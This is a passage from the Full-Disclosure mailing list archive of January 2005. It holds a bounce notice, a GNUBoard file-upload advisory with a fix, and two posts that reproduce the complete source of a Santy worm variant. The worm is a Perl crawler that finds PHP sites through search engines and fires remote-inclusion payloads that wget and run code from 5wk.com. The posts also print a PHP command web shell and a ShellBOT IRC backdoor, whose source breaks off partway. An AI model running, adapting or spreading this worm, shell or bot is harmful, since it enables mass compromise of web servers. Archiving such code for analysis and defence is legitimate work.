  >                         www.michaelevanchik.com
  >                         
  >                         ------------------------
  >                         Obviously you are just tickled to see that the
  >                         kiddies were able to so quickly turn your
  >                         point/click sploit code into a virus to wreak
  >                         havoc on my network.
  >                        
  >                         Thanks a lot for helping to make all of us a
  >                         little less secure over the holiday's.
  >                         
  >                        
  >                         __________________________________________________
  >                         Do You Yahoo!?
  >                         Tired of spam? Yahoo! Mail has the best spam
  >                         protection around
  >                         http://mail.yahoo.com
  >                        
  > _______________________________________________
  > Full-Disclosure - We believe in it.
  > Charter: http://lists.netsys.com/full-disclosure-charter.html
  --
  For Security and Open Source news and tips visit:

  http://www.xyberpix.com

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/a5d12fa0/attachment.html 

From dayioglu at metu.edu.tr  Mon Jan  3 07:04:47 2005
From: dayioglu at metu.edu.tr (dayioglu at metu.edu.tr)
Date: Mon, 3 Jan 2005 12:34:47 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501030704.j0374ivO026391@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/39f77c5f/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/39f77c5f/attachment.wav 

From stfunub at gmail.com  Mon Jan  3 07:54:08 2005
From: stfunub at gmail.com (Andrew Smith)
Date: Mon, 3 Jan 2005 07:54:08 +0000
Subject: [Full-Disclosure] Santy Variant attacking about 50
	PHP-applications
In-Reply-To: <481.1104521032@www6.gmx.net>
References: <481.1104521032@www6.gmx.net>
Message-ID: <33713abc0501022354329f561f@mail.gmail.com>

Covered on the F-Secure weblog, the DNS has been pointed at 127.0.0.2
so no more bots will be connecting. Just posting the source incase
5wk.com dies:

#!/usr/bin/perl

#####################
####
####  ####  #### #### ####  #### #### #  # #  # ####
####  #  #  #  # #    #  #  #    #    #  # # #  #
####  ####  #  # ###  ##    #### #    #### ##   ###
####  #     #  # #    # #      # #    #  # # #  #
####  #     #### #### #  #  #### #### #  # #  # ####
####



use LWP::Simple;
use IO::Socket::INET;





my $processo = "/usr/local/sbin/httpd";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";

$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);


$lista[0] = '/modules/My_eGallery/public/displayCategory.php?basepath=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[1] = '/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[2] = '/include/new-visitor.inc.php?lvc_include_dir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[3] = '/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[4] = '/cpcommerce/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[5] = '/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[6] = '/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[7] = '/ashnews.php?pathtoashnews=cd /tmp;wget
http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[8] = '/eblog/blog.inc.php?xoopsConfig[xoops_url]=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[9] = '/pm/lib.inc.php?pm_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[10] = '/b2-tools/gm-2-b2.php?b2inc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[11] = '/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[12] = '/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[13] = '/includes/include_once.php?include_file=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[14] = '/e107/e107_handlers/secure_img_render.php?p=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[15] = '/shoutbox/expanded.php?conf=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[16] = '/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*';
$lista[17] = '/admin.php?op=AddAuthor&add_aid=cake&add_name=God&add_pwd=brasnet&add_email=foo at bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox';
$lista[18] = '/main.php?x=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[19] = '/myPHPCalendar/admin.php?cal_dir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[20] = '/index.php/main.php?x=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[21] = '/index.php?include=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[22] = '/index.php?x=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[23] = '/index.php?open=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[24] = '/index.php?visualizar=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[25] = '/template.php?pagina=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[26] = '/index.php?pagina=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[27] = '/index.php?inc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[28] = '/includes/include_onde.php?include_file=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[29] = '/index.php?page=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[30] = '/index.php?pg=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[31] = '/index.php?show=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[32] = '/index.php?cat=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[33] = '/index.php?file=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[34] = '/db.php?path_local=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[35] = '/index.php?site=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[36] = '/htmltonuke.php?filnavn=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[37] = '/livehelp/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[38] = '/hcl/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[39] = '/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[40] = '/support/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[41] = '/help/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[42] = '/helpcenter/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[43] = '/live-support/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[44] = '/gnu3/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[45] = '/gnu/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[46] = '/phpgwapi/setup/tables_update.inc.php?appdir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[47] = 'includes/calendar.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[48] = 'includes/setup.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[49] = '/inc/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[50] = '/include/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';


while(1){

####################################
#
#  worm php injection
#  explora v?rias vuls
#
#
####################################
$nume = int rand(999);
 $procura = 'inurl:*.php?*=' .  $nume;


$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq .= int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);

for($n=0;$n<900;$n += 100){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br",
PeerPort => 80, Proto => "tcp") or next;
print $sock "GET
/search?q=$procura&num=100&hl=pt-BR&lr=&as_qdr=all&start=$n&sa=N
HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
  $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
  $uber=$1;
	if ($uber !~/translate/)
	{
	if ($uber !~ /cache/)
	{
	if ($uber !~ /"/)
	{
	if ($uber !~ /google/)
	{
	if ($uber !~ /216/)
	{
	if ($uber =~/http/)
	{
	if ($uber !~ /start=/)
	{
	  open(arq,">>$arq");
          print arq "$uber\n";
          close(arq);
}}}}}}}}}


for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu")
or next;
$ae = "@cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
  $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
  $uber=$1;
  
$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;
$uber =~ s/<wbr>//g;
open(a,">>$arq");
print a "$uber\n";
close(a);
}}

$ark = $arq; 
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo =""; 
foreach (@si){
if (!$si{$_})
{ 
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);

$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
 {$sites[$a] = $_;
  chomp $sites[$a];
  $a++;
  $b++;}
close(ae);

for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
      print file "";
close(file);
open (file, ">$caxe1");
      print file "";
close(file);
$k=0;
$e=0;
 $data=get($sites[$a]) or next;
  while($data=~ m/<a href=".*?">.*?<\/a>/){
  $data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
  $ubersite=$1;
  
  if ($ubersite =~/"/)
   {
   $nu = index $ubersite, '"';
   $ubersite = substr($ubersite,0,$nu);
   }
if ($ubersite !~/http/)
 {$ubersite = $sites[$a].'/'.$ubersite;} 
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n"; 
close(file); 
}

$lista1 = 'http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget
http://www.5wk.com/spyworm1;perl spyworm1;wget
http://www.5wk.com/spybot';
$lista2 = '|cd /tmp;wget http://www.5wk.com/spyworm1;perl
spyworm1;wget http://www.5wk.com/spybot|';
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or next;
while (<opa>)
{
 $ja[$t] = $_;
 chomp $ja[$t];
 $t++;
 $y++;
}
close(opa);
$t=1;
while ($t < $y)
   {
    if ($ja[$t] =~/=/)
      {
       $num = rindex $ja[$t], '=';
       $num += 1;
       $ja[$t] = substr($ja[$t],0,$num);    
            open (jaera,">>$caxe1") or next;
            print jaera "$ja[$t]$lista1\n";
            print jaera "$ja[$t]$lista2\n";
            close(jaera);
        $num = index $ja[$t], '=';
        $num += 1;
        $ja[$t] = substr($ja[$t],0,$num);       
        $num1 = rindex $ja[$t], '.';
        $subproc = substr($ja[$t],$num1,$num);
         
            open (jaera,">>$caxe1") or next;
            print jaera "$ja[$t]$lista1\n";
            print jaera "$ja[$t]$lista2\n";
            close(jaera);
      }
     $t++;
     }
$ark = "$caxe1"; 
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo =""; 
foreach (@si){
if (!$si{$_})
{ 
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
	$q=0;
	$w=0;
	 @hot;
	open (ops,"<$caxe1");
	while(<ops>)
	{
	$hot[$q] = $_;
	chomp $hot[$q];
	$q++;
	$w++;
	}
	close(ops);

for($q=0;$q<=$w;$q++)
  {
 
  if ($hot[$q] =~/http/)
    {
	$tipo=get($hot[$q]) or next;
	for($tee=0;$tee<=50;$tee++){
	&recicla;
	$hot[$q] = 'http://' .$hot[$q] . $lista[$tee] ;
	$tipo=get($hot[$q]) or next;

	}
	
	
	
	
	
	}}}

}







###############################
#
#  sub rotinas
#
#
#
###############################



#######################

sub recicla{
 	substr($hot[$q], 0, 7) ="";
       	$nu = index $hot[$q], '/';
        $hot[$q] = substr($hot[$q],0,$nu);
}



From advisory at stgsecurity.com  Mon Jan  3 07:16:28 2005
From: advisory at stgsecurity.com (SSR Team)
Date: Mon, 3 Jan 2005 16:16:28 +0900
Subject: [Full-Disclosure] STG Security Advisory: [SSA-20041224-21] File
	extensions restriction bypass vulnerability in GNUBoard
Message-ID: <GKEOJIPDJOHGOEEOIINIMEGBCBAA.advisory@stgsecurity.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

STG Security Advisory: [SSA-20041224-21] File extensions restriction bypass
vulnerability in GNUBoard.

Revision 1.0
Date Published: 2004-12-24 (KST)
Last Update: 2005-01-33
Disclosed by SSR Team (advisory at stgsecurity.com)


Summary
========
GNUBoard is one of widely used web BBS applications in Korea.  However, an
input validation flaw can cause malicious attackers to run arbitrary
commands with the privilege of the HTTPD process, which is typically run as
the nobody user.



Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary command execution.

Affected Products
================
GNUBoard 3.40 and prior

Vendor Status: NOT FIXED
========================
2004-12-09 Vulnerability found
2004-12-09 Vendor contacted and confirmed.
2005-01-03 Official release.

Details
=======
Implementation of check every file extension of upload files is
case-sensitive. Bypassing this mechanism, malicious attackers can upload
arbitrary script files (php, pl, cgi, etc) to a web server.

gbupdate.php (107 line)
- ----
// ????? ???? ???
$source = array ("/\.php/", "/\.htm/", "/\.cgi/", "/\.pl/");
$target = array (".phpx", ".htmx", ".cgix", ".plx");
- ----

gbupdate.php (142 line)
- ----
 // php_x ? ?? ???? ???? ??? ?? ??? ???? abc.php._x
? ???? ??? ??
 $filename = preg_replace($source, $target, $filename);
 // ???? ?? ???
 $upload[$i] = $prefix . $filename;
 $dest_file = "./data/file/$bo_table/$upload[$i]";
- ----

malicious attackers can upload [attack].PHP.rar, [attack].pHp.rar, etc.

Solution
=========
modify 108th line of gbupdate.php as following
$source = array ("/\.php/i", "/\.htm/i", "/\.cgi/i", "/\.pl/i");

Vendor URL
==========
http://www.sir.co.kr/

Credits
======
Jeremy Bae at STG Security

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBQdjxDD9dVHd/hpsuEQIfQgCdH1I3gYRYQhM49hOOEKg35puXscUAoK07
zKwL5QKjuY2Nb2yzKAtFwDhJ
=o+Ui
-----END PGP SIGNATURE-----




From stfunub at gmail.com  Mon Jan  3 07:55:49 2005
From: stfunub at gmail.com (Andrew Smith)
Date: Mon, 3 Jan 2005 07:55:49 +0000
Subject: [Full-Disclosure] Santy Variant attacking about 50
	PHP-applications
In-Reply-To: <33713abc0501022354329f561f@mail.gmail.com>
References: <481.1104521032@www6.gmx.net>
	<33713abc0501022354329f561f@mail.gmail.com>
Message-ID: <33713abc050102235568e95480@mail.gmail.com>

Also the spy.gif script:

<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold;
color: #F3A700;">SPYKIDS PHP Command/Safemode Exploit 4.1</DIV>
<BR>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold;
color: #F3A700;">Informa??o do sistema</DIV>
<?php

// Ae galera se forem Ripar coloca pelo menos um escrito sobre o DeRf- pod crer
  closelog( );

 

  if ($chdir == "") $chdir = getcwd( );

?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php

 

?>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;"><?= $info
?>: <?= $value ?></DIV></TD>
  </TR>

 
  <TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;"></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;"></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;"></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;"></DIV></TD>
  </TR>
  <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Server IP:
<?php $aaa =  gethostbyname($SERVER_NAME);  echo $aaa;?></DIV></TD>
  </TR>
   <TR>
    <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web
Server: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
  </TR>
</TABLE>
<BR>
<?php

  if ($cmd != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*]
Command Mode Run</DIV>";

?>

<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold;
color: #F3A700;">Comandos LNX</DIV>
<?php

if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}

    if (isset($chdir)) @chdir($chdir);

    ob_start( );
      $fe("$cmd  2>&1");
      $output = ob_get_contents();
    ob_end_clean( );

?>
<TEXTAREA COLS="100" ROWS="15" STYLE="font-family: verdana; font-size: 12px;">
<?php

    if (!empty($output)) echo str_replace(">", "&gt;",
str_replace("<", "&lt;", $output));
?>
</TEXTAREA>
<BR>
<?php

  }
 
  if ($safemode != "") {
    echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*]
Safemode Mode Run</DIV>";

?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold;
color: #F3A700;">Safe Mode Directory Listing</DIV>
<?php

    if ($dir = @opendir($chdir)) {
      echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
      echo "<TR>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
      while (($file = readdir($dir)) !== false) {
        if (@is_file($file)) {
          $file1 = fileowner($file);
          $file2 = fileperms($file);
    	  echo "<font color=green>$file1 - $file2 - <a
href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";
	  // echo "<font color=green>$file1 - $file2 - $file </font><br>";
          flush( );
        }
      }

      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
	    echo "<font color=blue>$file1 - $file2 - <a
href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
            // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo"<TD valign=top>";
      echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
      if ($dir = @opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_dir($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
            echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TD>";
      echo "<TD valign=top>";
      echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
 
      if ($dir = opendir($chdir)) {
        while (($file = readdir($dir)) !== false) {
          if (@is_writable($file) && @is_file($file)) {
            $file1 = fileowner($file);
            $file2 = fileperms($file);
    	    echo "<font color=red>$file1 - $file2 - $file </font><br>";
          }
        }
      }
      echo "</TD>";
      echo "</TR>";
      echo "</TABLE>";
    }
  }

?>
<?php

  if ($shell == "write") {
    $shell = '#!/usr/bin/perl
#
#  ShellBOT - Atrix Team
#
#   0ldW0lf - oldwolf at atrix-team.org
#           - www.atrix-team.org
#           - www.atrix.cjb.net
#
# modificado por poerschke 
# irc.chatplus.com.br #spykids
#
################ CONFIGURACAO
#################################################################
my $processo = "/hsphere/shared/apache/bin/httpd -DSSL";#Nome do
processo que vai aparece ps  #
#----------------------------------------------################################################
my $linas_max="10";                             # Evita o flood :)
depois de X linhas         #
#----------------------------------------------################################################
my $sleep="4";                                 # ele dorme X segundos 
                       #
##################### IRC
#####################################################################
my @adms=("poerschke");                  #
#----------------------------------------------################################################
my @canais=("#perl");                   # Caso haja senha ("#canal
:senha")            #
#----------------------------------------------################################################
my $nick="poers";	                       # Nick do bot. Caso esteja em
uso vai aparecer #
                                               # aparecer com numero
radonamico no final      #
#----------------------------------------------################################################
my $ircname = "virus";                         # User ID              
                       #
#----------------------------------------------################################################
chop (my $realname = `uname -a`);              # Full Name            
                       #
#----------------------------------------------################################################
$servidor="irc.gigachat.net" unless $servidor;#Servidor de irc que vai
ser usado           #
                                               # caso n?o seja
especificado no argumento      #
#----------------------------------------------################################################
my $porta="6667";	                       # Porta do servidor de irc   
                 #
################ ACESSO A SHELL
###############################################################
my $secv = 1;	                               # 1/0 pra
habilita/desabilita acesso a shell   #
###############################################################################################

my $VERSAO = "1.0";

$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);



our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

#############################
#  B0tchZ na veia ehehe :P  #
#############################

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == "1") {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{"host"} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{"porta"} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
     $irc_servers{$IRC_cur_socket}{"meuip"} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con
:$realname");
     sleep 1;
   }

}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{""}) if (defined($irc_servers{""}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{"nick"};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp="";
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}


 
sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf
modificado por poerschke \001");
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!atrix"
and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         } 
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4; 
         $irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick".int rand(9999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
